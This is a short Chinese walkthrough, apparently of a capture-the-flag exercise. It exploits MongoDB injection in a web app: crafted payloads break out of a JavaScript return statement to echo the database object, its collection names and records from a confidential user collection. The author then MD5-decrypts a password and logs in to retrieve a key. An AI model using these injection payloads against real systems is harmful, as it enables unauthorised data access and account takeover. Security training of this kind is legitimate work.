构造数据回显
'});return ({title:'1',content:'2
成功回显1,2,接下来我们开始尝试查询数据库
'});return({title:tojson(db),content:'2
得到之后我们就可以继续查询他的表名了
'});return({title:tojson(db.getCollectionNames()),content:'2
最后我们就可以爆出他表里的数据了
'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
得到密码之后,我们就可以获得数据了,先将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下 端就可以看到KEY了。如果第⼀个⽤户账号密码登录不了,我们就改变查询的索引“find()[1]"查询 其他的⽤户账号密码登录即可
这里显示用户已禁用,那么我们就换一个用户
好了这里我们就登录进去了